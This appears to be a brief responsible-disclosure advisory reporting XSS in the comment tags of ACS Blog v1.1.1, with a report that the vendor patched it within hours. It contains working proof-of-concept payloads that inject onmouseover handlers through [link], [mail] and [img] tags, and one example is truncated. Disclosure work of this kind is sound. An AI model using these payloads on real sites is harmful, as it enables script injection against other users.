These vulnerabilities have been tested on the latest version of ACS Blog. (v1.1.1)

In the comments section of ACS Blog, it is possible to execute an XSS attack through the [link], [mail], and [img] tags, due to lack of filtering of single quotes and spaces inside the tags.

Examples/PoCs:

[link=http://www.google.com' onmouseover='alert("XSS vulnerability")' o=']Don't you wanna see where this link goes?[/link]

[mail=bugtraq@securityfocus.com' onmouseover='alert("XSS vulnerability")' o=']Mr. Wiggles[/mail]

http://www.example.com/image.jpg' on...)' o='

[link=http://www.google.com target=_blank'
onmouseover=a=/Vulnerability/;alert(a.source) o=']Hooray[/link]

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Vendor responded within 2 hours of notification, notified users with the security alert on its main page, and patched the vulnerabilities within another couple of hours.
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Cheers,
Dan